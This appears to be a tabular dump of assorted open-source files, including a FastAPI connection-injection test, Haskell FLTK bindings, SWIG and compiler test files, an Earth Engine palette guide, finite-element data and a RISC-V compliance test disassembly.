content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
|---|---|---|---|---|---|
from fastapi import Depends, FastAPI
from fastapi.requests import HTTPConnection
from fastapi.testclient import TestClient
from starlette.websockets import WebSocket
app = FastAPI()
app.state.value = 42
async def extract_value_from_http_connection(conn: HTTPConnection):
return conn.app.state.value
@app.get("/http")
async def get_value_by_http(value: int = Depends(extract_value_from_http_connection)):
return value
@app.websocket("/ws")
async def get_value_by_ws(
websocket: WebSocket, value: int = Depends(extract_value_from_http_connection)
):
await websocket.accept()
await websocket.send_json(value)
await websocket.close()
client = TestClient(app)
def test_value_extracting_by_http():
response = client.get("/http")
assert response.status_code == 200
assert response.json() == 42
def test_value_extracting_by_ws():
with client.websocket_connect("/ws") as websocket:
assert websocket.receive_json() == 42
| Python | 4 | Aryabhata-Rootspring/fastapi | tests/test_http_connection_injection.py | [
"MIT"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="9008000">
<Item Name="My Computer" Type="My Computer">
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="G#BaseClass1.lvclass" Type="LVClass" URL="../G#BaseClass1_class/G#BaseClass1.lvclass"/>
<Item Name="G#BaseClass1_IG#BaseInterface.lvclass" Type="LVClass" URL="../G#BaseClass1_class/interfaces/G#BaseClass1_IG#BaseInterface/G#BaseClass1_IG#BaseInterface.lvclass"/>
<Item Name="G#SubClass1.lvclass" Type="LVClass" URL="../G#SubClass1_class/G#SubClass1.lvclass"/>
<Item Name="G#SubSubClass1.lvclass" Type="LVClass" URL="../G#SubSubClass1_class/G#SubSubClass1.lvclass"/>
<Item Name="G#BaseAggregator.lvclass" Type="LVClass" URL="../G#BaseAggregator_class/G#BaseAggregator.lvclass"/>
<Item Name="G#StaticClass.lvclass" Type="LVClass" URL="../G#StaticClass_class/G#StaticClass.lvclass"/>
<Item Name="IG#BaseInterface.lvclass" Type="LVClass" URL="../IG#BaseInterface_interface/IG#BaseInterface.lvclass"/>
<Item Name="G#BaseClass2.lvclass" Type="LVClass" URL="../G#BaseClass2_class/G#BaseClass2.lvclass"/>
<Item Name="G#SubClass2.lvclass" Type="LVClass" URL="../G#SubClass2_class/G#SubClass2.lvclass"/>
<Item Name="G#SubSubClass2.lvclass" Type="LVClass" URL="../G#SubSubClass2_class/G#SubSubClass2.lvclass"/>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="Merge Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Merge Errors.vi"/>
<Item Name="Get LV Class Path.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Path.vi"/>
<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Cluster From Error Code.vi"/>
<Item Name="Trim Whitespace.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Trim Whitespace.vi"/>
<Item Name="whitespace.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/whitespace.ctl"/>
<Item Name="Clear Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Clear Errors.vi"/>
<Item Name="Get LV Class Default Value.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Default Value.vi"/>
<Item Name="Error Code Database.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Code Database.vi"/>
<Item Name="G#Object.lvclass" Type="LVClass" URL="/<vilib>/addons/_AddQ/G#Object/G#Object.lvclass"/>
<Item Name="G#Interface.lvclass" Type="LVClass" URL="/<vilib>/addons/_AddQ/G#Interface/G#Interface.lvclass"/>
<Item Name="Qualified Name Array To Single String.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Qualified Name Array To Single String.vi"/>
</Item>
<Item Name="Support_TimerWait.vi" Type="VI" URL="../../../Shared/Support_TimerWait.vi"/>
<Item Name="Support_SetError.vi" Type="VI" URL="../../../Shared/Support_SetError.vi"/>
</Item>
<Item Name="Build Specifications" Type="Build"/>
</Item>
</Project>
| LabVIEW | 3 | JamesBalisciano/gsharp | Verification/TestCases/TestClasses/TestClassesG#.lvproj | [
"BSD-3-Clause"
] |
{-# LANGUAGE CPP, RankNTypes, UndecidableInstances, GADTs, TypeSynonymInstances, FlexibleInstances, MultiParamTypeClasses, FlexibleContexts, ScopedTypeVariables #-}
{-# OPTIONS_GHC -fno-warn-orphans #-}
module Graphics.UI.FLTK.LowLevel.Adjuster
(
-- * Hierarchy
--
-- $hierarchy
-- * Widget Functions
--
-- $functions
)
where
#include "Fl_ExportMacros.h"
#include "Fl_Types.h"
#include "Fl_AdjusterC.h"
import C2HS hiding (cFromEnum, cFromBool, cToBool,cToEnum)
import Graphics.UI.FLTK.LowLevel.Fl_Enumerations
import Graphics.UI.FLTK.LowLevel.Fl_Types
import Graphics.UI.FLTK.LowLevel.Utils
import Graphics.UI.FLTK.LowLevel.Dispatch
import Graphics.UI.FLTK.LowLevel.Hierarchy
{# fun Fl_Adjuster_draw as draw'' { id `Ptr ()' } -> `()' #}
instance (impl ~ ( IO ())) => Op (Draw ()) Adjuster orig impl where
runOp _ _ adjuster = withRef adjuster $ \adjusterPtr -> draw'' adjusterPtr
{#fun Fl_Adjuster_handle as adjusterHandle' { id `Ptr ()', id `CInt' } -> `Int' #}
instance (impl ~ (Event -> IO (Either UnknownEvent ()))) => Op (Handle ()) Adjuster orig impl where
runOp _ _ adjuster event = withRef adjuster (\p -> adjusterHandle' p (fromIntegral . fromEnum $ event)) >>= return . successOrUnknownEvent
{# fun Fl_Adjuster_resize as resize' { id `Ptr ()',`Int',`Int',`Int',`Int' } -> `()' supressWarningAboutRes #}
instance (impl ~ (Rectangle -> IO ())) => Op (Resize ()) Adjuster orig impl where
runOp _ _ adjuster rectangle = withRef adjuster $ \adjusterPtr -> do
let (x_pos,y_pos,w_pos,h_pos) = fromRectangle rectangle
resize' adjusterPtr x_pos y_pos w_pos h_pos
{# fun Fl_Adjuster_hide as hide' { id `Ptr ()' } -> `()' #}
instance (impl ~ ( IO ())) => Op (Hide ()) Adjuster orig impl where
runOp _ _ adjuster = withRef adjuster $ \adjusterPtr -> hide' adjusterPtr
{# fun Fl_Adjuster_show as show' { id `Ptr ()' } -> `()' #}
instance (impl ~ ( IO ())) => Op (ShowWidget ()) Adjuster orig impl where
runOp _ _ adjuster = withRef adjuster $ \adjusterPtr -> show' adjusterPtr
-- $hierarchy
-- @
-- "Graphics.UI.FLTK.LowLevel.Base.Widget"
-- |
-- v
-- "Graphics.UI.FLTK.LowLevel.Base.Valuator"
-- |
-- v
-- "Graphics.UI.FLTK.LowLevel.Base.Adjuster"
-- |
-- v
-- "Graphics.UI.FLTK.LowLevel.Adjuster"
-- @
-- $functions
-- @
-- draw :: 'Ref' 'Adjuster' -> 'IO' ()
--
-- handle :: 'Ref' 'Adjuster' -> 'Event' -> 'IO' ('Either' 'UnknownEvent' ())
--
-- hide :: 'Ref' 'Adjuster' -> 'IO' ()
--
-- resize :: 'Ref' 'Adjuster' -> 'Rectangle' -> 'IO' ()
--
-- showWidget :: 'Ref' 'Adjuster' -> 'IO' ()
-- @
| C2hs Haskell | 3 | ericu/fltkhs | src/Graphics/UI/FLTK/LowLevel/Adjuster.chs | [
"MIT"
] |
(assert (= (str.++ "abc" "cdef") "abcde"))
(check-sat)
| SMT | 2 | mauguignard/cbmc | regression/smt2_strings/concat_const_unsat/concat_const_unsat.smt2 | [
"BSD-4-Clause"
] |
exec("swigtest.start", -1);
// Functions
checkequal(foo(int32([1, 2, 3])), "foo:int[SIZE]", "foo(int[SIZE])");
checkequal(foo([1, 2, 3]), "foo:double[SIZE]", "foo(double[SIZE])");
checkequal(foo(["1" "2" "3"]), "foo:char *[SIZE]", "foo(char *[SIZE])");
// Class methods
s = new_Spam();
checkequal(Spam_foo(s, int32([1, 2, 3])), "foo:int[SIZE]", "Spam::foo(int[SIZE])");
checkequal(Spam_foo(s, [1, 2, 3]), "foo:double[SIZE]", "Spam::foo(double[SIZE])");
checkequal(Spam_foo(s, ["1" "2" "3"]), "foo:char *[SIZE]", "Spam::foo(char *[SIZE])");
delete_Spam(s);
// Static class methods
checkequal(Spam_bar(int32([1, 2, 3])), "bar:int[SIZE]", "Spam::bar(int[SIZE])");
checkequal(Spam_bar([1, 2, 3]), "bar:double[SIZE]", "Spam::bar(double[SIZE])");
checkequal(Spam_bar("hello"), "bar:char *[SIZE]", "Spam::bar(char *[SIZE])");
// Constructors
s = new_Spam();
checkequal(Spam_type_get(s), "none", "Spam::Spam()");
delete_Spam(s);
s = new_Spam(int32([1, 2, 3]));
checkequal(Spam_type_get(s), "int[SIZE]", "Spam::Spam(int[SIZE])");
delete_Spam(s);
s = new_Spam([1, 2, 3]);
checkequal(Spam_type_get(s), "double[SIZE]", "Spam::Spam(double[SIZE])");
delete_Spam(s);
s = new_Spam(["1" "2" "3"]);
checkequal(Spam_type_get(s), "char *[SIZE]", "Spam::Spam(char *[SIZE])");
delete_Spam(s);
a = new_ClassA();
b = ClassA_method1(a, [1 2 3]);
exec("swigtest.quit", -1);
| Scilab | 3 | kyletanyag/LL-Smartcard | cacreader/swig-4.0.2/Examples/test-suite/scilab/overload_arrays_runme.sci | [
"BSD-3-Clause"
] |
/**
* Unit.x10
*
* Rudra Distributed Learning Platform
*
* Copyright (c) IBM Corporation 2016
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. Neither the name of Rudra nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific
* prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY,OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
package rudra.util;
public struct Unit {}
| X10 | 1 | milthorpe/rudra | x10/src/rudra/util/Unit.x10 | [
"BSD-3-Clause"
] |
#raw "template.cpy"
int main()
int a, b;
? a b
! (a + b) | COBOL | 0 | saviour07/CPY | Examples/Simple sum/main.cpy | [
"MIT"
] |
BmaxJ | PureBasic | 0 | pchandrasekaran1595/onnx | onnx/backend/test/data/node/test_clip_default_int8_max/test_data_set_0/input_1.pb | [
"Apache-2.0"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Namespace Microsoft.CodeAnalysis.VisualBasic.Symbols
Friend NotInheritable Class GeneratedNameConstants
Friend Const DotReplacementInTypeNames As Char = "-"c
Friend Const MethodNameSeparator As Char = "_"c
Friend Const AnonymousTypeOrDelegateCommonPrefix = "VB$Anonymous"
Friend Const AnonymousTypeTemplateNamePrefix = AnonymousTypeOrDelegateCommonPrefix & "Type_"
Friend Const AnonymousDelegateTemplateNamePrefix = AnonymousTypeOrDelegateCommonPrefix & "Delegate_"
Friend Const DelegateStubParameterPrefix As String = "a"
Friend Const Group As String = "$VB$Group"
Friend Const It As String = "$VB$It"
Friend Const It1 As String = "$VB$It1"
Friend Const It2 As String = "$VB$It2"
Friend Const ItAnonymous As String = "$VB$ItAnonymous"
' EE recognized names (prefixes):
Friend Const HoistedMeName As String = "$VB$Me"
Friend Const HoistedUserVariablePrefix As String = "$VB$Local_"
Friend Const HoistedSpecialVariablePrefix As String = "$VB$NonLocal_" ' prefixes Me and Closure variables when hoisted
Friend Const HoistedWithLocalPrefix As String = "$W"
Friend Const StateMachineHoistedUserVariablePrefix As String = "$VB$ResumableLocal_"
Friend Const ClosureVariablePrefix As String = "$VB$Closure_"
Friend Const DisplayClassPrefix As String = "_Closure$__"
Friend Const StateMachineTypeNamePrefix As String = "VB$StateMachine_"
' Do not change the following strings. Other teams (FxCop) use this string to identify lambda functions in its analysis
' If you have to change this string, please contact the VB language PM and consider the impact of that break.
Friend Const LambdaMethodNamePrefix As String = "_Lambda$__"
Friend Const DisplayClassGenericParameterNamePrefix As String = "$CLS"
Friend Const BaseMethodWrapperNamePrefix As String = "$VB$ClosureStub_"
' Microsoft.VisualStudio.VIL.VisualStudioHost.AsyncReturnStackFrame depends on these names.
Friend Const StateMachineBuilderFieldName As String = "$Builder"
Friend Const StateMachineStateFieldName As String = "$State"
Friend Const DelegateRelaxationDisplayClassPrefix As String = DisplayClassPrefix & "R"
Friend Const DelegateRelaxationMethodNamePrefix As String = LambdaMethodNamePrefix & "R"
Friend Const HoistedSynthesizedLocalPrefix As String = "$S"
Friend Const LambdaCacheFieldPrefix As String = "$I"
Friend Const DelegateRelaxationCacheFieldPrefix As String = "$IR"
Friend Const StateMachineAwaiterFieldPrefix As String = "$A"
Friend Const ReusableHoistedLocalFieldName As String = "$U"
Friend Const StateMachineExpressionCapturePrefix As String = "$V"
Friend Const StateMachineTypeParameterPrefix As String = "SM$"
Friend Const IteratorCurrentFieldName As String = "$Current"
Friend Const IteratorInitialThreadIdName As String = "$InitialThreadId"
Friend Const IteratorParameterProxyPrefix As String = "$P_"
Public Const StaticLocalFieldNamePrefix = "$STATIC$"
End Class
End Namespace
| Visual Basic | 4 | frandesc/roslyn | src/Compilers/VisualBasic/Portable/Symbols/SynthesizedSymbols/GeneratedNameConstants.vb | [
"MIT"
] |
---
title: "ee-palettes"
author: "Gennadii Donchyts, Fedor Baart & Justin Braaten"
output:
html_document:
self_contained: no
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE)
```
# About
*ee-palettes* is a module for generating color palettes in [Google Earth Engine](https://earthengine.google.com/) (EE) to be applied to mapped data.
# Add the module
Visit this [URL](https://code.earthengine.google.com/?accept_repo=users/gena/palettes) to add the module to the Reader repository of your EE account. After the module is added, you can find the source code in the Script Manager under: *Reader:users/gena/packages/palettes*.
# How to use
#### Load the module
You can access the ee-palettes through the `require()` function. Running the following line will make the palettes available to you through JavaScript (JS) object access notation. The returned variable will be a nested series of JS objects ending in lists of hex colors.
```
var palettes = require('users/gena/packages:palettes');
```
#### Find a palette
Find a palette you like from the list below. Each palette is defined by a group and a name, which are separated by a period (JS object dot notation), and a color level.
To retrieve a desired palette, use JS object notation to specify the group, name, and number of color levels. The number of colors available varies by palette, which are listed following the palette names below. Note that all non-ColorBrewer palettes have only 7 colors, so always use 7 as the 'color levels' property for these palettes.
```
print(palettes.colorbrewer.RdYlGn);
```
#### Define a palette
After determining the palette group, name, and color level, set the palette as a variable.
```
var palette = palettes.colorbrewer.RdYlGn[9];
```
#### Apply a palette
To apply the defined palette to map data, set the palette variable as the value for the `palette` key in the `visParams` object supplied to the `Map.addLayer()` function. It is also helpful to determine and define appropriate `min` and `max` values, to ensure a good stretch. Here is a complete working example for loading the *ee-palettes* module, defining a palette, and applying it to a MODIS NDVI image.
```
// Make a palette: a list of hex strings
var palettes = require('users/gena/packages:palettes');
var palette = palettes.colorbrewer.RdYlGn[9]
// Load a MODIS image
var img = ee.Image('MODIS/006/MOD09GA/2012_03_09');
// Calculate NDVI
var ndvi = img.normalizedDifference(['sur_refl_b02', 'sur_refl_b01']);
// Center the map
Map.setCenter(-120.7671, 40.8328, 7);
// Display NDVI with defined palette stretched between selected min and max
Map.addLayer(ndvi, {min: -0.3, max: 0.7, palette: palette}, 'NDVI');
```
# Palette manipulation
#### Palette reverse
Reverse a palette with the `reverse()` function.
```
var palette = palettes.colorbrewer.RdYlGn[9].reverse();
```
#### Palette subset
If you only want to use a section of a palette, you can subset the colors you want using the `slice()` function. For instance, if you only want the pink to yellow section of the *misc.gnuplot* palette, use the following palette definition.
```
var palette = palettes.misc.gnuplot[7].slice(3,7);
```
# Palettes
```{r pals, echo=FALSE, results='asis'}
files = list.files('../pals', '*.png', full.names=T)
bases = basename(files)
names = substr(bases, 1, nchar(bases)-4)
palInfo = read.csv("pals_info.csv", stringsAsFactors = F)
groups = unique(palInfo$group)
groups = c('ColorBrewer Sequential','ColorBrewer Diverging','ColorBrewer Qualitative',
'matplotlib', 'cmocean', 'Niccoli', 'Kovesi', 'Misc')
for(g in 1:length(groups)){
cat('\n\n###',groups[g],'\n\n')
these = which(palInfo$group == groups[g])
for(r in 1:length(these)){
thisOne = which(names == palInfo$jsName[these[r]])
pal = paste0('<img src="','./pals/', basename(files[thisOne]),'"> ',palInfo$figName[these[r]],' | ',gsub("|",",",palInfo$levels[these[r]], fixed=T),'<br/>')
cat(pal)
}
}
```
# References
Palettes were derived from the *pals* R library. Please see its [documentation](https://cran.r-project.org/web/packages/pals/pals.pdf) and [repository](https://github.com/kwstat/pals) for palette source information.
| RMarkdown | 5 | gee-community/ee-palettes | misc/pals_doc.rmd | [
"MIT"
] |
#!/bin/bash
set -e
RED="\033[0;31m"
GREEN="\033[0;32m"
CLEAR="\033[0m"
BRANCHES="devel dashcam dashcam3 release2 release3"
for b in $BRANCHES; do
if git diff --quiet origin/$b origin/$b-staging && [ "$(git rev-parse origin/$b)" = "$(git rev-parse origin/$b-staging)" ]; then
printf "%-10s $GREEN ok $CLEAR\n" "$b"
else
printf "%-10s $RED mismatch $CLEAR\n" "$b"
fi
done
| Shell | 4 | shoes22/openpilot | release/verify.sh | [
"MIT"
] |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="description" content="Nette Framework web application skeleton">
<title>Nette Application Skeleton</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js"></script>
</head>
<body>
{include #content}
</body>
</html>
| Latte | 3 | timfel/netbeans | php/php.latte/test/unit/data/testfiles/indent/testInlineLatte.latte | [
"Apache-2.0"
] |
FiniteElementSpace
FiniteElementCollection: H1_2D_P2
VDim: 1
Ordering: 0
0.97999075
0.97537986
0.67892127
0.33269358
0.35484595
0.38605807
0.42445473
0.4568031
0.48429672
0.48928851
0.40892627
0.31474538
0.27113353
0.25399318
0.24929919
0.99707847
0.97553477
0.67478035
0.31536867
0.33773023
0.36545924
0.39895175
0.43051516
0.45312657
0.45424781
0.38139623
0.32956326
0.30501403
0.29927369
0.3040227
1.0180223
1.0322255
0.74101386
0.30799107
0.30479676
0.31330522
0.33623944
0.36396699
0.39990749
0.38403099
0.34124922
0.33102291
0.34826435
0.38057673
0.41145832
1.0722093
1.0942148
1.2782509
1.3111433
1.3111868
1.3027425
1.3007347
1.3128982
1.3013193
1.3092482
1.4173233
1.5574536
1.6340478
1.5838267
1.5210123
1.1147247
1.1190507
1.8649123
2.1287096
2.1445545
2.2210576
2.3569158
2.4764411
2.5992521
2.6986162
2.7086658
2.6780439
2.6370738
2.7000462
2.8602053
1.1448802
1.1106105
2.0168081
2.7530893
2.7379828
2.730997
2.7209815
2.7077173
2.6929529
2.6880693
2.6932381
2.6849534
2.6780646
2.6985858
2.8240092
1.1443873
1.1074044
2.0452638
2.8901423
2.8437884
2.7880078
2.768602
2.7512634
2.7282498
2.7145724
2.7120707
2.7061767
2.699987
2.7334353
2.8560673
0.97977267
0.9786772
0.98574236
0.98986548
1.0036216
1.029722
1.0072028
0.98622945
0.70636025
1.0587594
0.98435125
0.67694136
0.3451041
0.32509007
0.33294881
0.34503076
0.34784409
0.32834297
0.32119274
0.30924033
0.31139375
0.34493686
0.33383836
1.3187094
0.7792792
0.31809691
1.318319
2.2115955
2.1455884
2.1998531
2.2806564
1.7784151
1.1542698
1.1962895
1.1075375
1.0596699
1.0839561
1.0457611
1.1199955
1.0922049
1.1134238
1.1262288
1.1297868
1.1100984
1.1248653
1.1442829
1.1936018
2.029528
1.1858378
1.9673341
2.4476105
2.7565078
2.8099342
2.8600951
2.7450408
2.788085
2.8673592
2.4487539
2.1822963
2.5106876
2.7362211
2.7507501
2.8143732
2.7246582
2.7351981
2.7782702
2.2888372
2.5966202
2.4164779
2.6494869
2.7148892
2.7270568
2.7604573
2.7000899
2.7199585
2.7386911
2.5378871
2.6739602
1.3079063
2.3917929
2.328122
0.3809836
0.37162149
0.34893195
0.35021866
1.3085671
0.32995739
2.2681731
1.3020552
2.2263574
1.3059793
0.3084582
0.31559388
0.32535975
0.38186607
0.36782822
0.34045721
0.35167506
0.37055016
0.37674837
0.40506084
0.41257461
0.4412673
0.44424742
0.41476816
0.39772706
0.44114772
0.42587373
0.46970286
0.4696248
0.48713892
0.47295342
0.45526765
0.41857095
0.39378808
0.41799657
0.36332812
0.36221964
0.45063206
0.39570994
0.36075512
0.32178827
0.35411146
0.33177244
0.33508882
0.34920926
1.4882086
0.33771453
2.7296366
2.6931009
2.6356918
1.3609711
2.7048734
2.5025938
0.35535822
1.3035617
2.6500288
2.6749841
2.6900169
2.7116824
2.722214
2.6912763
2.6997498
2.7128446
2.670177
2.6670257
2.6889256
2.6920658
2.7101457
2.682934
2.6879998
2.7033911
2.6576783
2.6661967
2.6617856
2.695353
2.6853218
2.7166936
2.7141181
2.7627828
2.838329
2.7965288
2.7853094
2.8009537
1.5467291
2.7781024
2.7280188
0.39695626
0.42170259
0.39941259
0.36347085
1.6158002
0.37164874
2.7466882
1.5959681
0.34012848
0.31765025
0.32839722
0.29231102
0.2870942
0.26274139
0.27479626
0.30171337
0.3417492
0.30205244
0.36003626
0.25176669
0.27426717
0.98563693
1.0044738
1.0229629
0.98585369
0.34021473
0.3377937
0.31895904
0.33927574
0.37140601
0.32720491
2.2132413
2.2401344
1.1828121
1.0992723
1.0565192
1.1025962
1.1226586
1.1260789
1.1882223
1.1951212
2.5460717
2.7992563
2.8019903
2.4535373
2.4798003
2.7695698
2.7428694
2.5532765
2.6237661
2.7313437
2.7236874
2.6614148
2.3592997
0.36032693
0.33941105
2.3000297
2.2466743
2.2178134
0.31660941
0.32308788
0.35424283
0.33075522
0.36254345
0.39429091
0.42878625
0.38244653
0.41128936
0.45619335
0.47219373
0.42380221
0.39077283
0.4352525
0.35747418
0.34646629
0.34307087
2.6834745
2.5695807
0.34599085
0.36426979
2.4457281
2.675394
2.7159518
2.7056678
2.6718107
2.6688471
2.6955529
2.6913152
2.6666092
2.6791077
2.6993955
2.7792051
2.7495687
2.7516652
0.41118549
0.38501416
2.7377333
2.7388465
0.36069542
0.33043954
0.30430436
0.28082818
0.33444276
0.3515629
0.27479037
| Grammatical Framework | 0 | ajithvallabai/mfem | miniapps/gslib/triple-pt-1.gf | [
"BSD-3-Clause"
] |
use GPUDist, Random;
config const threadsPerBlock = 16;
config const useRandomSeed = true,
seed = if useRandomSeed then SeedGenerator.currentTime else 314159265;
var m = 64: int(64);
proc main() {
const GPUBlockDist = new GPUDist(rank=1, threadsPerBlock=threadsPerBlock);
const space: domain(1, int(64)) dmapped GPUBlockDist = [1..m];
const subspace: domain(1, int(64)) dmapped GPUBlockDist = [2..m-1];
var gpuA, gpuB : [space] real;
var hostA, hostB : [1..m] real;
var randlist = new RandomStream(seed);
randlist.fillRandom(hostB);
writeln(hostB);
gpuB = hostB;
forall i in subspace do {
gpuA(i) = (gpuB(i-1) + gpuB(i) + gpuB(i+1))/3;
}
hostA = gpuA;
writeln(hostA);
}
| Chapel | 4 | jhh67/chapel | test/gpu/sidelnik/stencil.chpl | [
"ECL-2.0",
"Apache-2.0"
] |
@0x9ef128e10a8010b8;
struct Nested5
{
x @0 : UInt64;
}
struct Nested4
{
nested2 @0 : Nested5;
}
struct Nested3
{
nested1 @0 : Nested4;
}
struct Nested2
{
three @0 : UInt64;
four @1 : UInt64;
}
struct Nested1
{
one @0 : UInt64;
two @1 : Nested2;
}
struct Message
{
value @0 : UInt64;
tuple1 @1 : Nested1;
tuple2 @2 : Nested3;
}
| Cap'n Proto | 3 | pdv-ru/ClickHouse | tests/queries/0_stateless/format_schemas/02030_capnp_tuples.capnp | [
"Apache-2.0"
] |
package com.baeldung.clearsitedata;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
@Controller
public class LogoutClearSiteDataController {
@GetMapping(value = "/baeldung/logout")
public ResponseEntity<String> logout(@PathVariable String name) {
return ResponseEntity.ok().build();
}
}
| Java | 4 | DBatOWL/tutorials | spring-security-modules/spring-security-web-mvc/src/main/java/com/baeldung/clearsitedata/LogoutClearSiteDataController.java | [
"MIT"
] |
D:/gitee/tmp/tinyriscv/tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRC-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t6,8
c: 03ff0a63 beq t5,t6,40 <write_tohost>
10: 00900f93 li t6,9
14: 03ff0663 beq t5,t6,40 <write_tohost>
18: 00b00f93 li t6,11
1c: 03ff0263 beq t5,t6,40 <write_tohost>
20: 00000f17 auipc t5,0x0
24: fe0f0f13 addi t5,t5,-32 # 0 <_start>
28: 000f0463 beqz t5,30 <trap_vector+0x2c>
2c: 000f0067 jr t5
30: 34202f73 csrr t5,mcause
34: 000f5463 bgez t5,3c <handle_exception>
38: 0040006f j 3c <handle_exception>
0000003c <handle_exception>:
3c: 5391e193 ori gp,gp,1337
00000040 <write_tohost>:
40: 00001f17 auipc t5,0x1
44: fc3f2023 sw gp,-64(t5) # 1000 <tohost>
48: ff9ff06f j 40 <write_tohost>
0000004c <reset_vector>:
4c: 00000193 li gp,0
50: 00000297 auipc t0,0x0
54: fb428293 addi t0,t0,-76 # 4 <trap_vector>
58: 30529073 csrw mtvec,t0
5c: 30005073 csrwi mstatus,0
60: 00000297 auipc t0,0x0
64: 02028293 addi t0,t0,32 # 80 <begin_testcode>
68: 34129073 csrw mepc,t0
6c: 00000293 li t0,0
70: 10000337 lui t1,0x10000
74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
78: 00532023 sw t0,0(t1)
7c: 30200073 mret
00000080 <begin_testcode>:
80: 00002797 auipc a5,0x2
84: f8078793 addi a5,a5,-128 # 2000 <begin_signature>
88: 00100093 li ra,1
8c: 00000113 li sp,0
90: 7ff101b7 lui gp,0x7ff10
94: fff18193 addi gp,gp,-1 # 7ff0ffff <_end+0x7ff0ddfb>
98: 80000237 lui tp,0x80000
9c: fff00293 li t0,-1
a0: 34029073 csrw mscratch,t0
a4: 3400b0f3 csrrc ra,mscratch,ra
a8: 340290f3 csrrw ra,mscratch,t0
ac: 34013173 csrrc sp,mscratch,sp
b0: 34029173 csrrw sp,mscratch,t0
b4: 3401b1f3 csrrc gp,mscratch,gp
b8: 340291f3 csrrw gp,mscratch,t0
bc: 34023273 csrrc tp,mscratch,tp
c0: 34029273 csrrw tp,mscratch,t0
c4: 3402b2f3 csrrc t0,mscratch,t0
c8: 340012f3 csrrw t0,mscratch,zero
cc: 0007a023 sw zero,0(a5)
d0: 0017a223 sw ra,4(a5)
d4: 0027a423 sw sp,8(a5)
d8: 0037a623 sw gp,12(a5)
dc: 0047a823 sw tp,16(a5)
e0: 0057aa23 sw t0,20(a5)
e4: 00002297 auipc t0,0x2
e8: f3428293 addi t0,t0,-204 # 2018 <test_A2_res>
ec: 00100593 li a1,1
f0: 00000613 li a2,0
f4: 7ff106b7 lui a3,0x7ff10
f8: fff68693 addi a3,a3,-1 # 7ff0ffff <_end+0x7ff0ddfb>
fc: 80000737 lui a4,0x80000
100: fff00793 li a5,-1
104: 34079073 csrw mscratch,a5
108: 3405b5f3 csrrc a1,mscratch,a1
10c: 34063673 csrrc a2,mscratch,a2
110: 3406b6f3 csrrc a3,mscratch,a3
114: 34073773 csrrc a4,mscratch,a4
118: 3407b7f3 csrrc a5,mscratch,a5
11c: 34003873 csrrc a6,mscratch,zero
120: 00b2a023 sw a1,0(t0)
124: 00c2a223 sw a2,4(t0)
128: 00d2a423 sw a3,8(t0)
12c: 00e2a623 sw a4,12(t0)
130: 00f2a823 sw a5,16(t0)
134: 0102aa23 sw a6,20(t0)
138: 00002d17 auipc s10,0x2
13c: ef8d0d13 addi s10,s10,-264 # 2030 <test_B_res>
140: 12345ab7 lui s5,0x12345
144: 678a8a93 addi s5,s5,1656 # 12345678 <_end+0x12343474>
148: fff00a13 li s4,-1
14c: 340a1073 csrw mscratch,s4
